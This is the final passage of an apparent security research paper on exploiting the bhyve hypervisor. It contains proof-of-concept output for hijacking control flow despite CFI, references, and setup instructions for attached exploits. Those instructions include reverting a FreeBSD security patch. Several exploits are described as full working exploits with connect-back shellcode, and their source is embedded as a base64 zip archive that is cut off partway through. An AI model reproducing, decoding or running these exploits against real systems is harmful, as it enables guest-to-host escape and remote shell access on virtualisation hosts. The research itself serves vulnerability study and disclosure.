SA_SIGINFO) != 0) { sigfunc(sig, info, ucp); } else { ((ohandler)sigfunc)(sig, info->si_code, (struct sigcontext *)ucp, info->si_addr, (__sighandler_t *)sigfunc); } . . . } If libthr.so is compiled with CFI, these indirect calls will also be protected. In order to redirect execution to the signal trampoline, guest should overwrite the __libc_interposing[INTERPOS_sigaction] entry with address of _sigaction() system call instead of __thr_sigaction(). Since _sigaction() and __thr_sigaction() are of the same function type, they should be valid targets under CFI. After the guest registers a fake signal handler, it should wait until the host triggers an ACPI shutdown using SIGTERM. Below is the output of proof-of-concept for RIP control using signal handler: root@guest:~/setupC/cfi_signal_bypass # ./exploit exploit: [+] Triggering info leak using FreeBSD-SA-16:32.bhyve... exploit: [+] mevent located @ offset = 0xbff58 exploit: [+] Leaked power_handler address = 0x2aa1604cae0 exploit: [+] Bhyve base address = 0x2aa15fe8000 exploit: [+] Changing state to IDENT_SEND exploit: [+] Reading signature... exploit: [+] Received signature : BHYV exploit: [+] Set req_size value to 0xFFFFFFFF exploit: [+] Setting up fake structures... exploit: [+] Sending data to overwrite IO handlers... exploit: [+] libc base address = 0x6892a57a000 exploit: [+] Overwriting libc interposing table entry for sigaction... exploit: [+] Overwriting old_power_handler... exploit: [+] Disabling ACPI shutdown to register fake signal handler root@guest:~/cfi_bypass/cfi_signal_bypass # root@host:~ # vm stop freebsdvm Sending ACPI shutdown to freebsdvm root@host:~ # gdb -q -p `pidof bhyve` Attaching to process 44443 Reading symbols from /usr/sbin/bhyve...Reading symbols from /usr/lib/debug//usr/sbin/bhyve.debug...done. done. . . . _kevent () at _kevent.S:3 3 _kevent.S: No such file or directory. (gdb) c Continuing. Thread 1 "mevent" received signal SIGTERM, Terminated. _kevent () at _kevent.S:3 3 in _kevent.S (gdb) c Continuing. Thread 1 "mevent" received signal SIGBUS, Bus error. 0x00007fe555aba000 in '' () (gdb) x/i $rip => 0x7fe555aba000: callq *(%rsp) (gdb) x/gx $rsp 0x751bcf604b70: 0xdeadbeef00000000 The information disclosure using FreeBSD-SA-16:32.bhyve crashes at times in HardenedBSD 12-Current. Though this can be improved, I left it as such since the bug was re-introduced for experimental purposes by reverting the patch. --[ 10 - Conclusion The paper details various techniques to gain RIP control as well as achieve arbitrary read/write by abusing bhyve's internal data structures. I believe the methodology described here is generic and could be applicable in the exploitation of similar bugs in bhyve or even in the analysis of other hypervisors. Many thanks to Ilja van Sprundel for finding and disclosing the VGA bug detailed in the first part of the paper. Thanks to argp, huku and vats for their excellent research on the jemalloc allocator exploitation. I would also like to thank Mehdi Talbi and Paul Fariello for their QEMU case study paper, which motivated me to write one for bhyve. Finally a big thanks to Phrack Staff for their review and feedback, which helped me improve the article. --[ 11 - References [1] FreeBSD-SA-16:32.bhyve - privilege escalation vulnerability https://www.freebsd.org/security/advisories/FreeBSD-SA-16:32.bhyve.asc [2] Setting the VGA Palette https://bos.asmhackers.net/docs/vga_without_bios/docs/palettesetting.pdf [3] Hardware Level VGA and SVGA Video Programming Information Page http://www.osdever.net/FreeVGA/vga/colorreg.htm [4] Pseudomonarchia jemallocum http://phrack.org/issues/68/10.html [5] Exploiting VLC, a case study on jemalloc heap overflows http://phrack.org/issues/68/13.html [6] The Shadow over Android https://census-labs.com/media/shadow-infiltrate-2017.pdf [7] Kqueue: A generic and scalable event notification facility https://people.freebsd.org/~jlemon/papers/kqueue.pdf [8] VM escape - QEMU Case Study http://www.phrack.org/papers/vm-escape-qemu-case-study.html [9] Capsicum: practical capabilities for UNIX https://www.usenix.org/legacy/event/sec10/tech/full_papers/Watson.pdf [10] Capsicumise bhyve https://reviews.freebsd.org/D8290 [11] Capsicum support for bhyve https://reviews.freebsd.org/rS313727 [12] bhyve PCI Passthrough https://wiki.freebsd.org/bhyve/pci_passthru [13] Put kernel physaddr at explicit 2MB rather than inconsistent MAXPAGESIZE https://reviews.freebsd.org/D8610 [14] VM_MAP_FIND - FreeBSD Kernel Developer's Manual https://www.freebsd.org/cgi/man.cgi'query=vm_map_find&sektion=9 [15] Nested Paging in bhyve https://people.freebsd.org/~neel/bhyve/bhyve_nested_paging.pdf [16] Introducing CFI https://hardenedbsd.org/article/shawn-webb/2017-03-02/introducing-cfi [17] Control Flow Integrity Design Documentation https://clang.llvm.org/docs/ControlFlowIntegrityDesign.html [18] SafeStack https://clang.llvm.org/docs/SafeStack.html [19] Bypassing clang's SafeStack for Fun and Profit https://www.blackhat.com/docs/eu-16/materials/eu-16-Goktas-Bypassing-Clangs-SafeStack.pdf [20] libthr - POSIX threads library https://www.freebsd.org/cgi/man.cgi'query=libthr&sektion=3&manpath=freebsd-release-ports [21] FreeBSD-SA-18:14.bhyve - Insufficient bounds checking in bhyve device model https://www.freebsd.org/security/advisories/FreeBSD-SA-18:14.bhyve.asc [22] FreeBSD-SA-18:14.bhyve - Always treat firmware request and response sizes as unsigned https://github.com/freebsd/freebsd/commit/33c6dca1c4dc75a1d7017b70f388de88636a7e63 --[ 12 - Source code and environment details The experiment was set up on 3 different host operating systems, all running inside VMware Fusion with nested virtualization enabled. vm-bhyve [S1] was used to set up and manage the virtual machines A. FreeBSD 11.0-RELEASE-p1 #0 r306420 running Ubuntu server 14.04.5 LTS as guest B. FreeBSD 11.2-RELEASE #0 r335510 running FreeBSD 11.2-RELEASE #0 r335510 as guest C. FreeBSD 12.0-CURRENT #0 [DEVEL:HardenedBSD-CURRENT-hbsdcontrol-amd64:53] running FreeBSD 11.1-RELEASE #0 r321309 Setup (A): Set graphics="yes" in the VM configuration used by vm-bhyve to enable framebuffer device required by VGA. vm-bhyve enables frame buffer device only when UEFI is also enabled. This check can be commented out in 'vm-run' bash script [S2]. # add frame buffer output # vm::bhyve_device_fbuf(){ local _graphics _port _listen _res _wait _pass local _fbuf_conf # only works in uefi mode #[ -z "${_uefi}" ] && return 0 . . . } All the analysis detailed in section 2, 3, 4 and 5 uses this setup (A). The following exploits provided in the attached code can be tested in this environment: - readmemory - proof of concept code to disclose bhyve heap using VGA bug (section 3.1) - vga_fakearena_exploit - full working exploit with connect back shellcode using fake arena technique (section 3) - vga_ioport_exploit - full working exploit with connect back shellcode using corrupted inout_handlers structure (section 4.1 - 4.4) - vga_pci_exploit - proof of concept code to demonstrate RIP control using PCI BAR decoding technique (section 4.5). It requires libpciaccess, which can be installed using 'apt-get install libpciaccess-dev' Setup (B): Apply the bhyverun.patch in the attached code to bhyve and rebuild from source. This enables fwctl device by default without specifying a bootrom # cd /usr/src # patch < bhyverun.patch # cd /usr/src/usr.sbin/bhyve # make # make install Enable IOMMU if the host is running as a VM. Follow the instructions in [S3] up to step 4 to make sure a device available for any VM running on this host. I used the below USB device for passthrough: root@host:~ # pciconf -v -l . . . ppt0@pci0:2:3:0: class=0x0c0320 card=0x077015ad chip=0x077015ad rev=0x00 hdr=0x00 vendor = 'VMware' device = 'USB2 EHCI Controller' class = serial bus subclass = USB After the reboot, verify if the device is ready for passthrough: root@host:~ # vm passthru DEVICE BHYVE ID READY DESCRIPTION hostb0 0/0/0 No 440BX/ZX/DX - 82443BX/ZX/DX Host bridge pcib1 0/1/0 No 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge isab0 0/7/0 No 82371AB/EB/MB PIIX4 ISA . . . em0 2/1/0 No 82545EM Gigabit Ethernet Controller (Copper) pcm0 2/2/0 No ES1371/ES1373 / Creative Labs CT2518 ppt0 2/3/0 Yes USB2 EHCI Controller The 'USB2 EHCI Controller' is marked ready. After this, set 'passthru0' parameter as '2/3/0' in the VM configuration used by vm-bhyve [S4] to expose the device to a VM. All the analysis detailed in section 6, 7 and 8 uses this setup (B). The following exploits provided in the attached code can be tested in this environment: - fwctl_sandbox_devmem_exploit - full working exploit with connect back shellcode using /dev/mem sandbox escape. Requires 'passthru0' parameter to be configured - fwctl_sandbox_map_exploit - full working exploit with connect back shellcode using VM_MAP_PPTDEV_MMIO IOCTL command. Requires 'passthru0' parameter to be configured - fwctl_sandbox_bind_exploit - full working exploit with connect back shellcode using VM_MAP_PPTDEV_MMIO and VM_BIND_PPTDEV IOCTL command. Configure only a host device for passthrough. Do not set the 'passthru0' parameter. If 'passthru0' is set, a kernel panic detailed in section 8 will be triggered when running the exploit. Setup (C): This setup uses HardenedBSD-CURRENT-hbsdcontrol-amd64-s201709141755-disc1.iso downloaded from [S5]. Use the information provided in [S6] to setup ports if necessary. Apply the bhyverun.patch in the attached code and revert the VGA patch [S7] from bhyve. # cd /usr/src # patch < bhyverun.patch # fetch https://security.FreeBSD.org/patches/SA-16:32/bhyve.patch # patch -R < bhyve.patch # cd /usr/src/usr.sbin/bhyve # make # make install All the analysis detailed in section 9 uses this setup (C). The following proof of concepts provided in the attached code can be tested in this environment: - cfi_safestack_bypass - proof of concept code to demonstrate RIP control bypassing SafeStack - cfi_signal_bypass - proof of concept code to demonstrate RIP control using signal trampoline Addresses of ROP gadgets might need readjustment in any of the above code. [S1] vm-bhyve - Management system for FreeBSD bhyve virtual machines https://github.com/churchers/vm-bhyve [S2] vm-run https://github.com/churchers/vm-bhyve/blob/master/lib/vm-run [S3] bhyve PCI Passthrough https://wiki.freebsd.org/bhyve/pci_passthru [S4] passthru0 https://github.com/churchers/vm-bhyve/blob/master/sample-templates/config.sample [S5] HardenedBSD-CURRENT-hbsdcontrol-amd64-LATEST/ISO-IMAGES https://jenkins.hardenedbsd.org/builds/HardenedBSD-CURRENT-hbsdcontrol-amd64-LATEST/ISO-IMAGES/ [S6] How to use Ports under HardenedBSD https://groups.google.com/a/hardenedbsd.org/d/msg/users/gRGS6n_446M/KoHGgrB1BgAJ [S7] FreeBSD-SA-16:32.bhyve - privilege escalation vulnerability https://www.freebsd.org/security/advisories/FreeBSD-SA-16:32.bhyve.asc >>>base64-begin code.zip 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 rnTdU4+te1bDqGow9rIgq18AyvgDz6GVNy4vwWwQlk2PM6wDTppz7vbTT32WnYgYTINn4t9gSLx MpBM8+pgZEV+IGN/v6SG3Aj6bz+dm+qegbstfctRZ6k21KYLydbyPF/D/AlBLAwQUAAAACADGQE ZNxYoblUIAAABZAAAAJgAcAGNvZGUvc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL01ha2VmaWxlV VQJAANkz7hbZFa8W3V4CwABBOgDAAAE6AMAAEutKMjJzyyxUkiFMPSSuTjTk5MVdMMTc3IUdNPT U5IUdItLUmzT80otLRV082EKERoUuJJzUhPzrLg4i3JholxcAFBLAwQUAAAACADLlR9NmZ4EPhg BAACPAgAAJwAcAGNvZGUvc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL2FkZHJlc3MuaFVUCQADbu +JW2RWvFt1eAsAAQToAwAABOgDAAB1kc1uwyAQhM/pU+w5qhIndW2sqOcee+kd4QVcJAoRrJvm7 Yt/YltucmVmPmZ3W+OoyDnB2V9U4HVL5B3/Ek5aFeANst8iFyo7bTb7LXito6II5EG3DneoDWz3 T+3EQMPVd2u58SuEPGanOz5p/GV0oGAPHDcGFokxW7yVfCi9/CqvtaiWJN0o4pEG9Vhj+ZKt1br VXAoSk4WxNG838E3e9fJy1F5BR1PmyJblGk9pCUh26F4x0a2wZ75/fIKQMqgY00JhcCX0HLamxi md4gessMzGSp04HqK7wxRfpR2pcPbRuIZH0wgk413f5YC6LNjpHsv/qHAJhhRwvqaACEFc/3+0g r+y7PCg6cIarxGFtc/gPMH8nOB/UEsDBAoAAAAAANBLblAAAAAAAAAAAAAAAAAhABwAY29kZS9z ZXR1cEMvY2ZpX3NhZmVzdGFja19ieXBhc3MvVVQJAAOnBm1esAZtXnV4CwABBOgDAAAE6AMAAFB 